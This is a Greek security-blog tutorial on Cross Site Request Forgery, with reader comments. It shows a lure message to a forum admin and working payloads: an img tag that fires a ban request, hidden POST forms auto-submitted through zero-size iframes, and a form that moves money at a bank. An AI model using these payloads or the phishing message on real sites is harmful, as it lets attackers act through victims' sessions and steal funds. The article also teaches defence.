Το προφίλ μας στο Google Plus
14

Cross Site Request Forgery

Θα υποπτευόσαστε ποτέ ως διαρρήκτη τον ίδιο τον ιδιοκτήτη ενός σπιτιού -ας πούμε τον Κο Νοικοκύρη-, όταν τον βλέπατε μέρα μεσημέρι να μπαίνει στο σπίτι του από την κεντρική είσοδο με τα κλειδιά στο χέρι; Οι μόνοι που θα μπορούσαν ν’ απαντήσουν “ναι” σε ένα τέτοιο ερώτημα είναι μόνο όσοι έχουν προβλήματα όρασης! Πώς είναι δυνατόν να υποπτευθείς αυτόν που έχει τη δικαιοδοσία να κάνει κάτι; Χμ, μήπως θα πρέπει να το ξανασκεφτούμε; Θα μπορούσε, π.χ., να τον έχει βάλει κάποιος ο οποίος τον απείλησε κι ο Κος Νοικοκύρης να το κάνει κάτω από ψυχολογική βία. Ακόμα χειρότερα, θα μπορούσε να τον έχει βάλει κάποιος και ο Κος Νοικοκύρης να μην το έχει καν καταλάβει! Όσο κι αν φαίνεται απίθανο και πέρα από τα όρια της λογικής, η τελευταία περίπτωση μπορεί να συμβεί. Ίσως όχι τόσο συχνά στον πραγματικό μας κόσμο, αλλά αρκετά συχνά σε έναν άλλο κόσμο, ιδεατό, εικονικό, αλλά εξίσου επικίνδυνο: Ποιον άλλον; Τον κόσμο του Διαδικτύου. Στο άρθρο αυτό θα μιλήσουμε για τέτοιες επιθέσεις.

Θα αναφερθούμε στο περίφημο Cross Site Request Forgery (CSRF) ή one-click attack ή session riding ή WRPC attack (Web based RPC attack, βλ. και σχετικό λήμμα της Wikipedia). Όπως καταλάβατε πρόκειται για τον αρχινονό των επιθέσεων μιας και με τόσα ονόματα ελπίζει να ξεγλιστρήσει και, δυστυχώς, δεν είναι λίγες οι φορές που τα καταφέρνει. Πρόκειται για μια μεθοδολογία επίθεσης που μόλις το 2008 εντάχθηκε στη λίστα των γνωστών παγκόσμιων απειλών του Διαδικτύου, αν και το 2006 είχε αναφερθεί ως ο Κοιμώμενος Γίγαντας σε σχετικό άρθρο του Security DarkReading.

Λίγο background
Πριν αναφερθούμε στη μέθοδο αυτή καθαυτή θα πρέπει πρώτα να μιλήσουμε για μερικά βασικά θέματα ασφάλειας που θα πρέπει να γνωρίζουμε, έτσι ώστε να κατανοήσουμε καλύτερα το CSRF.

Ας ξεκινήσουμε μ’ ένα απλό παράδειγμα: Έστω ότι είμαστε υπεύθυνοι (administrators) σε ένα forum που έχει να κάνει με ασφάλεια υπολογιστών. Κάθε φορά που επισκεπτόμαστε το forum με τον αγαπημένο μας web Browser δίνουμε κωδικό και password για να αποκτήσουμε πρόσβαση και, όπως λέμε, να μπούμε μέσα. Η διαδικασία αυτή ονομάζεται authentication ή στα “ξένα” αυθεντικοποίηση.

Έχοντας μπει στο site μας με δικαιώματα administrator...

Όση ώρα είμαστε μέσα στο site μας μπορούμε να εκτελέσουμε διάφορες ενέργειες, όπως: Να γράψουμε ένα νέο post, ν’ απαντήσουμε σε κάποιο άλλο κ.λπ. Δηλαδή ό,τι μπορούν και τα υπόλοιπα μέλη του forum μας. Όμως εμείς (ως Admin!) μπορούμε να εκτελέσουμε κάποιες εργασίες που τα άλλα μέλη δεν μπορούν, όπως για παράδειγμα την διαγραφή κάποιου post ενός άλλου μέλους, ή την αποβολή του από το forum, το λεγόμενο ban και πολλά άλλα. Πώς γνωρίζει ο server ποιοι είμαστε για να μας αφήσει να εκτελέσουμε αυτές τις ενέργειες; Μα φυσικά, θα σκεφτεί κάποιος, από το authentication που κάναμε στην αρχή. Χμ, τα πράγματα δεν και τόσο απλά.

Το ότι κάναμε authentication μια δεδομένη χρονική στιγμή δεν σημαίνει απολύτως τίποτε διότι το Internet είναι stateless και κάθε φορά που πατάμε μια ενέργεια στον web browser μας, ο server που επισκεπτόμαστε είναι σαν να μας “βλέπει” για πρώτη φορά. Αυτή η έλλειψη “μνήμης” του server (όσα GB κι αν έχει!) πρέπει με κάποιο τρόπο να αντιμετωπιστεί, έτσι ώστε να μας θυμάται για να μην απαιτεί authentication κάθε φορά που του ζητάμε κάτι. Πραγματικά, το σενάριο, αν δεν είχαμε τρόπο να λύσουμε αυτό το πρόβλημα, θα ήταν εφιαλτικό! Κάθε στιγμή, θα μας έλεγε ο server:

Server: Συγγνώμη κύριε, ποιος είστε;
Admin: Μα, μόλις συστηθήκαμε!

Αυτό λοιπόν το ιδιόμορφο Alzheimer θεραπεύεται με μερικά …μπισκοτάκια! Μην ανησυχείτε, δεν μας έπιασε ο συνήθης παλιμπαιδισμός που μας διακρίνει συχνά και που μας κατατρέχει σχεδόν μόνιμα! Απλά, μπισκοτάκια (cookies) ονομάζονται κάποιες μικρού μεγέθους πληροφορίες που βάζει ο server στη μνήμη του υπολογιστή μας μέσω του browser, έτσι ώστε κάθε φορά που τον καλούμε να θυμάται ποιοι είμαστε.

Μια τέτοια πληροφορία έχει εισαχθεί και στο δικό μας PC και αναφέρει στον server της εικόνας 1 ότι εμείς είμαστε οι διαχειριστές και κατά συνέπεια έχουμε αυξημένα δικαιώματα. Δεν θα επεκταθούμε περισσότερο σε αυτό, μια και θα βγούμε εκτός θέματος.

Η μέθοδος
Σκεφτείτε ότι εμείς, τώρα, είμαστε οι υποχθόνιοι τύποι που θέλουμε να γίνουμε διαχειριστές στη θέση του διαχειριστή αλλά βρισκόμαστε σε έναν άλλο υπολογιστή ίσως αρκετές χιλιάδες χιλιόμετρα μακριά και το μοναδικό σημείο επαφής μας είναι ο server που φιλοξενεί το forum που θέλουμε να επιτεθούμε. Τι θα συμβεί αν καταφέρουμε να έχουμε πρόσβαση στο cookie του admin; Τότε, θα μπορούσαμε να εκτελέσουμε όλες τις εντολές και τις ενέργειες που μπορεί να έχει ένας διαχειριστής.

Ας πούμε ότι έχουμε προηγούμενα με κάποιο μέλος του συγκεκριμένου forum και θέλουμε να το αποβάλουμε, κοινώς να το ban-άρουμε! Πώς θα καταφέρουμε κάτι τέτοιο χωρίς να είμαστε διαχειριστές (admins);

Κατ’ αρχάς πρέπει να ξέρουμε πως όταν ο πραγματικός admin μπανάρει ένα μέλος, στην πραγματικότητα καλεί μια έτοιμη ενέργεια που παρέχει το forum μόνο σε αυτόν. Αυτή η ενέργεια μπορεί να είναι η κλήση ενός προγράμματος στον server που φιλοξενεί το forum. Μόλις κληθεί αυτή η ενέργειά, σίγουρα θα τσεκάρει το cookie (για να ελέγξει αν πρόκειται για τον admin) και μετά θα συνεχίσει το …θεάρεστο έργο της.

Ο χρήστης έχει αποβληθεί (banned) από το forum.

Αυτό λοιπόν που θα κάνουμε συνοψίζεται τα ακόλουθα βήματα.

Βήμα 1: Βρίσκουμε (ή φτιάχνουμε μόνοι μας) ένα πρόγραμμα ή μια εντολή η οποία είναι η ίδια που εκτελείτε από το forum όταν ο πραγματικός διαχειριστής αποβάλει ένα άτομο (θα πούμε παρακάτω πως θα την βρούμε κλπ).
Βήμα 2: Αφού την φτιάξουμε θα την βάλουμε σε ένα link το οποίο με κάποιο τρόπο θα στείλουμε στον διαχειριστή και θα τον ωθήσουμε να το πατήσει (με την θέληση του ή όχι). To βήμα αυτό χρειάζεται και λίγο Social Engineering. Μόλις το πατήσει, ο σκοπός έχει επιτευχθεί!

Ας δούμε τώρα πώς γίνονται όλα αυτά στην πράξη!

Η υλοποίηση
Πρώτα πρέπει να υλοποιήσουμε το βήμα 1. Θα βρούμε τι ακριβώς εκτελείται από το πρόγραμμα του forum όταν ο διαχειριστής μπανάρει έναν χρήστη. Εδώ χρειάζεται λίγη πονηριά και λίγη παρατηρητικότητα. Σχεδόν όλα τα forums αναφέρουν τον κατασκευαστή και την έκδοση που βρίσκονται. Αν προσέξετε την εικόνα 1 θα δείτε ότι στο κάτω μέρος αναφέρει “Powered by BabbleBoard v.1.1.6”. To BabbleBoard είναι ένα γνωστό πρόγραμμα για forums και μάλιστα προσφέρεται και δωρεάν. Ας το κατεβάσουμε λοιπόν και ας το εγκαταστήσουμε στον δικό μας web server. Εδώ απαιτείται να έχουμε ένα δικό μας web server. Μην τρομάζετε, είναι απίστευτα απλό και …δωρεάν! Υπάρχουν εκατοντάδες εταιρίες στο Internet που είναι πρόθυμες να σας φιλοξενήσουν (Google “hosting” και θα καταλάβετε).

Αφού λοιπόν βρούμε και κατεβάσουμε το BabbleBoard και συγκεκριμένα την έκδοση 1.1.6, φτιάχνουμε ένα τεχνητό forum, και μπαίνουμε σαν διαχειριστές. Φτιάχνουμε και 2-3 χρήστες και αρχίζουμε να τους μπανάρουμε για να δούμε ποιες ακριβώς εντολές εκτελούνται! Για να δούμε όμως κάτι τέτοιο θα χρησιμοποιήσουμε ένα πολύ χρήσιμο add-on του Firefox: τo Live HTTP Headers. Το συγκεκριμένο add-on μας δείχνει ποιες εντολές (κρυφές ή μη) εκτελούνται στον server όταν πατάμε ένα link ή μια ενέργεια στον browser μας. Απ’ ότι καταλάβατε, η ενέργεια που θα κατασκοπεύσουμε είναι η “Ban User”.

Δεν είναι ο σκοπός του άρθρου αυτού να σας δείξει πως εγκαθιστούμε ένα forum ή CMS (Content Management System) όπως είναι η επίσημη ονομασία του, ούτε και να δείξει πώς ακριβώς λειτουργεί το προαναφερθέν add-on. Αυτά τα βήματα θα τα θεωρήσουμε ως δεδομένα.

Ανοίγουμε, λοιπόν, το τεχνητό forum μας και μπαίνουμε σαν διαχειριστές. Πάμε στην διαχείριση Χρηστών και επιλέγουμε έναν τυχαίο χρήστη (κάποιον από αυτούς που φτιάξαμε πριν λίγο). Θα παρατηρήσουμε ότι υπάρχει (όπως σε όλα τα CMS άλλωστε) μια επιλογή “ban user”. Ενεργοποιούμε το Live HTTP Headers και πατάμε την επιλογή. Θα δούμε ότι ο συγκεκριμένος χρήστης δεν μπορεί πια να μπει στο forum μας. Ωραίααα! Ας δούμε τώρα τι ακριβώς έχει καταγράψει το add-on…

Καταγραφή των εντολών του ban, φαίνεται η βασική εντολή εκτέλεσης.

Βλέπουμε ότι η βασική εντολή που υλοποιεί το ban είναι η παρακάτω:

http://www.ToTexnitoSiteMas.gr/index.php?page=admin&act=members&func=ban&id=2

Χμ, απ’ ότι βλέπουμε το μόνο που χρειάζεται είναι να περάσουμε το id του χρήστη που θέλουμε να μπανάρουμε στην μεταβλητή “id”. Το id ενός χρήστη είναι πάρα πολύ εύκολο να το βρούμε διότι δεν αποτελεί κάποια κρυμμένη πληροφορία. Μπορούμε να το βρούμε συνήθως πηγαίνοντας στην λίστα μελών (members) του forum και εκεί να κάνουμε click στον συγκεκριμένο χρήστη. Στην γραμμή URL του browser μας ή (πάλι με την χρήση του Live HTTP Headers) θα δούμε το id του χρήστη. Μόλις ολοκληρώσαμε επιτυχώς το βήμα 1.

Ερχόμαστε τώρα στο βήμα 2. Πρέπει να φτιάξουμε ένα link κάπου το οποίο θα εκτελεί την παραπάνω εντολή ως εξής:

http://www.ToSiteStoxos.gr/index.php?page=admin&act=members&func=ban&id=245

όπου το 245 είναι το id του χρήστη που μας είναι αντιπαθής και το “www.ToSiteStoxos.gr” είναι το προς επίθεση site.

Αυτό που τώρα μένει είναι να κρύψουμε την παραπάνω εντολή μέσα σε ένα κάποιο αρχείο html και να το στείλουμε με την μορφή link στον administrator του forum. Μόλις κάνει click επάνω σε αυτό και με το δεδομένο ότι έχει μπει στο forum του (βασικό αυτό – για να έχουν ενεργοποιηθεί τα μπισκοτάκια του!), θα εκτελεστεί η εντολή αποβολής του χρήστη με id 245, στον δικό του υπολογιστή. Δηλαδή στον υπολογιστή που έχει το σωστό cookie! Έτσι ο admin χωρίς να το θέλει θα αποβάλει τον χρήστη 245.

Έχουμε όμως να ξεπεράσουμε μερικά μικρά εμπόδια: Δεν πρέπει σε καμιά περίπτωση o διαχειριστής να καταλάβει τι έκανε. Δηλαδή θα πρέπει να βλέπει στην οθόνη του κάτι τελείως άσχετο με την κρυφή ενέργεια μας ώστε να μην πονηρευτεί πως κάτι περίεργο συμβαίνει. Πώς θα το κάνουμε αυτό; Χμ… εδώ θα κάνουμε ένα μικρό trick με την html. Θα κρύψουμε την εντολή αυτή μέσα σε μια… εικόνα! Μόλις το αρχείο html θα ανοίξει από το browser του θύματος, το πρώτο πράγμα που θα κάνει ο browser είναι να πάει να ανοίξει όλες τις εικόνες που αναφέρονται μέσα στο αρχείο αυτό. Μια από αυτές όμως δεν θα είναι πραγματική εικόνα. Ο browser δεν είναι σε θέση να το γνωρίζει αυτό, οπότε θα εκτελέσει τον… κακό μας κώδικα!

Φτιάχνουμε λοιπόν το αρχείο html που θα είναι το δόλωμα μας:

<html>
	<img src="http://tbn2.google.com/images?q=tbn:B6T6sKSdPglmgM:http://www.pnl.gov/breakthroughs/issues/2005-issues/fall/images/cyber_security.jpg" />
	<img src="http://tbn1.google.com/images?q=tbn:UwCxyuruNPQ90M:http://www.cbc.ca/news/background/computer-security/gfx/titlephoto.jpg" />
	<img src="http://www.ieee-security.org/Cipher/IMAGES/HORSE-nosky-red-trans2.gif" />
	<img src="http://tbn0.google.com/images?q=tbn:33Ss5eKab3X_fM:http://www.freedomsecurity.us/Security%20Badge.jpg" />
	<img src="http://www.ToSiteStoxos.gr/index.php?page=admin&act=members&func=ban&id=245" />
</html>

Απ’ ότι βλέπετε η εντολή που θα κάνει τη δουλειά είναι η τελευταία η οποία είναι κρυμμένη μέσα σε ένα image tag! Το επόμενο βήμα μας είναι να ανεβάσουμε αυτό το αρχείο σε κάποιον server (π.χ. σε αυτόν που δοκιμάσαμε το forum μας στο βήμα 1) και μετά στείλουμε ένα πολύ όμορφο PM (Personal Message) στο διαχειριστή και να του λέμε τα εξής:

Φίλε Admin γεια χαρά,
Κατ’ αρχάς θέλω να σε συγχαρώ για την καταπληκτική δουλειά που έχει κάνει στο forum.

Είμαι 10 χρόνια web designer αλλά με ενδιαφέρει πάρα πολύ και το θέμα του security.
Στο forum σας βρήκα αυτό που ακριβώς έψαχνα: ένα χώρο αξιόπιστο και με γνώσεις για κάποιον που θέλει να μάθει.

Btw, βρίσκω τα βασικό banner του site σας μια χαρά, αλλά θα ήθελα να σε ενημερώσω ότι τεχνολογικά υπάρχουν κι άλλες νεότερες υλοποιήσεις τις οποίες έχω σχεδιάσει εγώ ο ίδιος για κάποιους πελάτες μου στο παρελθόν. Θα χαρώ να τις μοιραστώ μαζί σας, φυσικά χωρίς καμιά απολύτως χρέωση. Αν σε ενδιαφέρει ρίξε μια ματιά στο παρακάτω link για να δεις για τι πράγμα σου μιλάω:

<a href="http://www.ToTexnitoSiteMas.gr/ArxeioDoloma.html">Οι Εικόνες μου</a>

Ζητώ συγγνώμη αν κάποιες είναι broken, είναι από sites πελατών μου και μπορεί να τις έχουν αλλάξει θέση.
Σε ευχαριστώ και πάλι για όλες τις χρήσιμες πληροφορίες που μας παρέχεις!

O_Kakos_Daimonas

Μόλις λοιπόν ο admin διαβάσει το παραπάνω PM θα σπεύσει (ελπίζουμε, σαν κακόπιστοι και υποχθόνιοι τύποι που είμαστε) να πατήσει το link για να δει ποιο είναι αυτό το νέο και μοντέρνο banner που θέλει να του προσφέρει δωρεάν ο φίλος “O_Kakos_Daimonas”. Θα δει λοιπόν τα παρακάτω:

Ένα αρχείο με κάποιες εικόνες. Κάποιες είναι... broken, όχι όμως λόγω του ότι λείπει το link!

Όταν ο διαχειριστής θα δει την παραπάνω εικόνα, το κακό θα έχει ήδη γίνει και δεν θα έχει πάρει μυρωδιά! Οι εικόνες θα έχουν εκτελεστεί από τον web browser και ο καημένος ο χρήστης θα έχει γίνει ban χωρίς να έχει κάνει τίποτε κακό! Ένα ακόμα Cross Site Request Forgery vulnerability θα έχει επιτευχθεί!

Πιο προχωρημένες τεχνικές
Η παραπάνω τεχνική ήταν από τις πιο απλές και εύκολες στην υλοποίηση. Αυτό διότι υλοποιούσε το μοντέλο GET. Δηλαδή όλες οι απαραίτητες πληροφορίες για την επίθεση περνούσαν στον server από την γραμμή του web browser μας (στην γραμμή διευθύνσεων – το λεγόμενο URL box) σαν παράμετροι στο βασικό αρχείο index.php. Δεν λειτουργούν όμως όλες οι επιθέσεις έτσι. Πολλά και μάλιστα σοβαρά sites υλοποιούν το μοντέλο POST. Δηλαδή οι βασικές παράμετροι μιας ενέργειας περνάνε με την μορφή κρυφών μεταβλητών οι οποίες δεν είναι ορατές στο URL box. Και σε αυτές τις περιπτώσεις (δυστυχώς) μπορούμε να υλοποιήσουμε επιθέσεις, με την χρήση JavaScript.

Για παράδειγμα, έστω ότι βλέπαμε μέσω του Live HTTP Headers, σε κάποιο forum, πως όταν διαγράφουμε έναν χρήστη εκτελείτε η παρακάτω ενέργεια:

Διαγραφή ενός χρήστη με τη χρήση POST requests.

Εδώ δεν μπορούμε να καλέσουμε απλά μια εντολή στην την γραμμή διεύθυνσης του browser μας. Θα πρέπει να υλοποιήσουμε την επίθεση γράφοντας πρώτα τον παρακάτω κώδικα:

&lt;html&gt;
&lt;IFRAME SRC=&quot;http://www.ToSiteStoxos.gr/csrf_exploit2.php&quot; WIDTH=0 HEIGHT=0 frameborder=0&gt;&lt;/IFRAME&gt;
&lt;meta HTTP-EQUIV=&quot;REFRESH&quot; content=&quot;0; url=&quot;http://twitter.com/deltahacker&quot;&gt;
&lt;/html&gt;

Δηλαδή υλοποιούμε τις μεταβλητές με κρυμμένες μεταβλητές html, όπως ακριβώς κάνει και το κανονικό forum-στόχος. Το αντίστοιχο αρχείο δόλωμα όμως δεν θα ήτανε το csrf_exploit2.php, αλλά κάποιο άλλο που θα καλούσε (έμμεσα) το csrf_exploit2.php. Δηλαδή κάτι σαν αυτό:

&lt;html&gt;
&lt;form name=&quot;admin&quot; action=&quot;http://www.ToSiteStoxos.gr/index.php&quot; method=&quot;POST&quot;&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;ThreadDelete&quot;/&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;threadID&quot; value=&quot;5&quot;/&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;x&quot; value=&quot;2&quot;/&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;y&quot; value=&quot;8&quot;/&gt;
&lt;/form&gt;
&lt;script&gt; document.admin.submit() &lt;/script&gt;
&lt;/html&gt;

Το ArxeioDoloma2.html χρησιμοποιεί πιο προχωρημένη τεχνική phishing οδηγώντας το θύμα στο twitter του deltaHacker, κρύβοντας εντέχνως (μέσω IFRAME με μηδενικό μέγεθος!) τον πραγματικό του στόχο που είναι η κλήση και η εκτέλεση του csrf_exploit2.php!

Η αλήθεια βρίσκεται εκεί έξω
Δυστυχώς η αλήθεια δεν βρίσκεται σε μικρά forums και σε ψευτοδιαμάχες μεταξύ χρηστών, αλλά σε πιο σοβαρά θέματα όπως η κλοπή προσωπικών δεδομένων, η κλοπή χρημάτων μέσω παράκαμψης ασφάλειας σε περιβάλλον web-banking και διάφορα άλλα τέτοια «όμορφα». H συγκεκριμένη αδυναμία εκτός του ότι είναι σχετικά νέα, είναι και αρκετά σπάνια και όχι τόσο διαδεδομένη. Είναι όμως ΠΑΡΑ ΠΟΛΥ επικίνδυνη!

Για του λόγου το αληθές θα πρέπει να πούμε οτι μια τουλάχιστον μεγάλη Τράπεζα (Ελληνική ή ξένη δεν έχει σημασία) πάσχει από αυτή την αδυναμία.

Οι εντολές γνωστής τράπεζας κατά τη μεταφορά χρημάτων.

Εύκολα μπορούμε να αυτοματοποιήσουμε την διαδικασία με ένα προγραμματάκι PHP για να μεταφέρουμε… 11 euro:

&lt;html&gt;
&lt;iframe name=&quot;noscreen&quot; frameborder=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot;&gt; &lt;/iframe&gt;;
&lt;form name=&quot;admin&quot; action=&quot;https://www.vuln_BANK_/AccountTransfer.do&quot;method=&quot;post&quot; target=&quot;noscreen&quot;&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;sourceAccountId&quot; value=&quot;1&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;AmountIntegral&quot; value=&quot;11&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;AmountDecimal&quot; value=&quot;00&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;DTransferAmount&quot; value=&quot;11.00&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;destinationAccount&quot; value=&quot;0&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;destinationAccountId&quot; value=&quot;0&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;strTransferReason&quot; value=&quot;Tester&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;x&quot; value=&quot;17&quot; /&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;y&quot; value=&quot;5&quot; /&gt;
	&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Save&quot; /&gt;
&lt;/form&gt;
&lt;script&gt; document.admin.submit() &lt;/script&gt;
&lt;/html&gt;

Αν το παραπάνω τρέξει από κάποιον που έχει ήδη μπει στον λογαριασμό του, θα έχουμε μεταφορά χρημάτων από τον λογαριασμό του με ID =0 (sourceAccountId) στον λογαριασμό του (πάλι) με ID =1 (destinationAccountId). Η διαφορά είναι οτι στον λογαριασμό με ID=1 να είναι… κοινός με το όνομα μας μέσα. Σε αυτήν την περίπτωση πάμε απλά και κάνουμε μια… ανάληψη!

Δεν δοκιμάσαμε πάντως μεταφορά σε άλλο λογαριασμό, άσχετο με αυτόν του αρχικού κατόχου. Ίσως και να έπαιζε, πράγμα ακόμη χειρότερο.

Να πούμε ότι το test το έκανα σε δικό μου λογισμικό, οπότε ήταν και 100% νόμιμο! Να ξέρετε ότι ΟΤΙΔΗΠΟΤΕ ΑΛΛΟ ΚΑΝΕΤΕ είναι εντελώς ΜΑ ΕΝΤΕΛΩΣ παράνομο σε σημείο που μπορεί άνετα να γίνει άρση απορρήτου του ISP σας, και να σας τσιμπήσουνε ώσπου να πείτε… “Mitnik”!

Οφείλουμε να ειδοποιήσουμε όλους όσους διαβάσουν αυτό το άρθρο ότι τα παράδειγμα μας ήταν εντελώς αληθινά και δυστυχώς δεν περιορίζονταν μόνο σε μικρά forums. Ο στόχος μας όμως είναι η γνώση για την προφύλαξη και όχι για την επίθεση! Όσοι έχουν πρόσβαση σε μεγάλους οργανισμούς ή εταιρίες ας πονηρευτούν.

Λάβετε σοβαρά υπ’ όψη αυτήν την αδυναμία και (για αρχή) σαν χρήστες κάντε τα παρακάτω:

* Να μην αφήνετε ανοιχτό το session σε ένα ευαίσθητο site που είστε γραμμένοι. Με απλά λόγια, όταν τελειώνετε τις εργασίες σας να κάνετε πάντα logout, «έξοδος χρήστη» ή όπως αλλιώς λέγεται στο κάθε site ώστε να διαγράφονται τα session cookies.

* Να χρησιμοποιείτε έναν web browser που να εκτελείτε τις οικονομικές σας συναλλαγές και γενικά που διαχειρίζεστε προσωπικά δεδομένα και έναν άλλον web browser που θα είστε σε sites χαμηλής ή / και αμφιβόλου αξιοπιστίας.

* Να ΜΗΝ ανοίγετε και να ΜΗΝ εμπιστεύεστε ότι mail ή link σας δώσει κάποιος. Ακόμα κι αν αυτός σας είναι απόλυτα έμπιστος. Εν ανάγκη κάντε το copy και ανοίχτε το στον άλλον web browser.

Στο Internet γενικότερα να μην έχετε εμπιστοσύνη ούτε στον ίδιο σας τον εαυτό διότι πολύ συχνά μπορεί να είναι κάποιος… άλλος!

14 Responses to “Cross Site Request Forgery”

  1. Mr_Root | 14/08/2011 at 14:27

    Γι ‘αυτό προτιμώ τα μπισκοτάκια της μαμάς :P

    Ωραίος και κατανοητός (με λίγα λόγια)

  2. strangegeorge | 14/08/2011 at 18:08

    Εξαιρετικό.

  3. L393nd | 14/08/2011 at 19:42

    Με καλυψαν οι φίλοι παραπάνω!!!

  4. Kiriakos22 | 14/08/2011 at 23:02

    καταπληκτικό το άρθρο!!

  5. antonmorvolhert | 15/08/2011 at 13:39

    Πολύ ενημερωτικό άρθρο. Θεωρητικά αυτές οι επιθέσεις δεν θα μπορούσαν να εξαλειφθούν με δεύτερο authentication check πριν γίνει το ban. Χωρίς cookie χωρίς τίποτα. Κάνεις login στο admin panel αλλά πριν γίνει το ban(για παράδειγμα) σου ζητάει πάλι τον κωδικό τον οποίο τσεκάρει επιτόπου σε σχέση με αυτόν στην DB,αν ταυτίζεται,bye bye user, αν όχι, απλά ξαναζητάει κωδικό.

  6. Thiseas | 15/08/2011 at 20:51

    @ antonmorvolhert
    Ναι βέβαια, θα μπορούσε να γίνει κι έτσι. Αλλά δεν θα ήταν κουραστικό να ήσουν admin σε ένα forum που για κάθε ενέργεια θα σου ζήταγε τον κωδικό σου? Υπάρχουν άλλοι τρόποι να επιτευχθεί ο έλεγχος. Π.χ. Τα client side στοιχεία του admin (π.χ. η IP και ο web browser) θα φυλάσονται στον server μόλις ο admin κάνει login. Με κάθε request ο server θα ελέγχει αν αυτό προέρχεται από την IP και τον web browser του admin. Αν όχι, bye bye…

    Επίσης, ένα BIG THNX στους φίλους παραπάνω για τα θετικά σχόλια τους…. ;-)

  7. antonmorvolhert | 15/08/2011 at 23:52

    Όταν όμως γίνει το CSRF το request δεν γίνεται στην ουσία από το computer του χρήστη άρα θεωρητικά με τα ίδια στοιχεία (IP ,Browser κλπ);

  8. Mr_Root | 16/08/2011 at 00:08

    @Thiseas
    Αν ο server ζητούσε απλά μια επιβεβαίωση από τον admin χωρίς να εισάγει
    ξανά pass και τον κουράζει
    του τύπου “είστε σίγουρος ότι θέλετε να διαγράψετε τον χρήστη;”
    Τι θα γινότανε σ’ αυτη την περίπτωση;
    Αν βάζαμε την κατάληλη παράμετρο στην εντολή θα την δεχόταν ο server;

  9. Thiseas | 16/08/2011 at 00:52

    @antonmorvolhert
    Το CSRF γίνεται από το PC του admin. Σωστό. Το request για το BAN όμως θα έπρεπε να περιέχει (κρυπτογραφημένα) τα στοιχεία του πραγματικού admin, που ο κύριος kakos_daimonas στην πραγματικότητα δεν τα γνωρίζει. Oπότε δεν θα μπορεί να φτιάξει ένα επιτυχημένο command για να το στείλει σαν ψευτο-link στον Κο Admin.

    @ Mr_Root
    Ναι, θα μπορούσε να υπάρχει μήνυμα επιβεβαίωσης ώστε να πονηρευτεί ο admin. Αλλά τότε ξέρεις τι θα γινόταν? Ο Κος Kakos_Daimonas θα καταχωρούσε αυτό που θα εκτελούσε ο server μετά την επιβεβαίωση η οποία (λόγω του stateless θα έπρεπε να περιέχει και την ενέργεια BAN και το ID του χρήστη που θα γίνει BAN) και αυτό θα έκρυβε πίσω από κακό link. Οπότε και πάλι δεν το… σώζουμε. ;-)

  10. antonmorvolhert | 16/08/2011 at 01:25

    Σωστό. Άλλη λυση Είναι στο request να υπήρχε πχ ένα authentication key(POST,GET δεν έχει σημασία) που να αποτελούταν απο το timestamp (time()) του τελευταίου login του admin; Αυτό φυσικά θα ανανεωνόταν στην βάση δεδομένων κάθε φορά που έκανε login ο admin. Εφοσον ο κος Kakos_Daimonas δεν είναι σε θέση θεωρητικά να το ξέρει αυτό, δεν μπορεί να το βάλει στο request άρα θεωρητικά προστατευόμαστε από αυτή την επίθεση, right? Αυτή η μέθοδος έχει το added bonus οτι δεν διακόπτει τις ενέργειες του admin.

  11. NAiToR3 | 18/08/2011 at 10:43

    Μπράβο Θησέα πολύ καλό άρθρο.

  12. giwrg98 | 02/09/2011 at 14:15

    Αυτό εδώ τι είναι:
    document.admin.submit()

  13. billidani7 | 06/09/2011 at 16:29

    Το όνομα της φόρμας είναι admin. Ο συγκεκριμένος κώδικας είναι JavaScript και κάνει submit την φορμα με όνομα admin.
    Θ

Leave a Reply

You must be logged in to post a comment.

Σύνδεση

Αρχείο δημοσιεύσεων